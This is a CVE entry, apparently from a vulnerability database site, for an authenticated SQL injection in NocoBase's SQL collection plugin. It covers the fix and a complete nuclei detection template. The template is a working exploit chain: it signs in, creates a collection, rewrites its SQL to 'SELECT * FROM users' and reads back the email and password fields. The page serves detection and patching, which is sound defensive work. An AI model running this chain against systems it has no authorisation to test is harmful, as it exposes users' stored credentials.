HexBrain

Browse / CVEs / CVE-2026-41641

CVE-2026-41641· nocobase / nocobase· CWE-89

NocoBase - SQL Injection

highseverity
7.2CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.

Fix

Upgrade NocoBase to version 2.0.39 or later

How to confirm it

Send: POST /api/auth:signIn
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: POST /api/collections:create ; POST /api/sqlCollection:update?filterByTk={{name}}
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: GET /api/{{name}}:list
Positive when: status_code == 200 and contains_all(body, "email", "password")
Send: GET {{BaseURL}}/api/app:getInfo
Positive when: status_code == 200 and contains_all(body, "\"dialect\"", "\"version\"") and compare_versions(version, "<2.0.39")

Run it with nuclei: nuclei -id CVE-2026-41641 -u <target>

The full check
id: CVE-2026-41641

info:
  name: NocoBase - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.
  remediation:
    Upgrade NocoBase to version 2.0.39 or later
  reference:
    - https://github.com/advisories/GHSA-wrwh-c28m-9jjh
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41641
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2026-41641
    epss-score: 0.01833
    epss-percentile: 0.79081
    cwe-id: CWE-89
  metadata:
    max-request: 5
    verified: true
    vendor: nocobase
    product: nocobase
  tags: cve,cve2026,sqli,nocobase,sqli,authenticated

flow: http(1) && http(2) && http(3) || http(4)

variables:
  name: "{{randstr}}"

http:
  - raw:
      - |
        POST /api/auth:signIn HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"account":"{{username}}","password":"{{password}}"}

    extractors:
      - type: regex
        name: token
        part: body
        internal: true
        regex:
          - '"token":"([^"]+)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/collections:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"name":"{{name}}","sql":"SELECT 1 as id","fields":[{"name":"id","type":"integer"}],"template":"sql"}

      - |
        POST /api/sqlCollection:update?filterByTk={{name}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"sql":"SELECT * FROM users","fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"}]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/{{name}}:list HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "email", "password")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/api/app:getInfo"

    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - '"version":"(.*?)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"dialect\"", "\"version\"")'
          - 'compare_versions(version, "<2.0.39")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from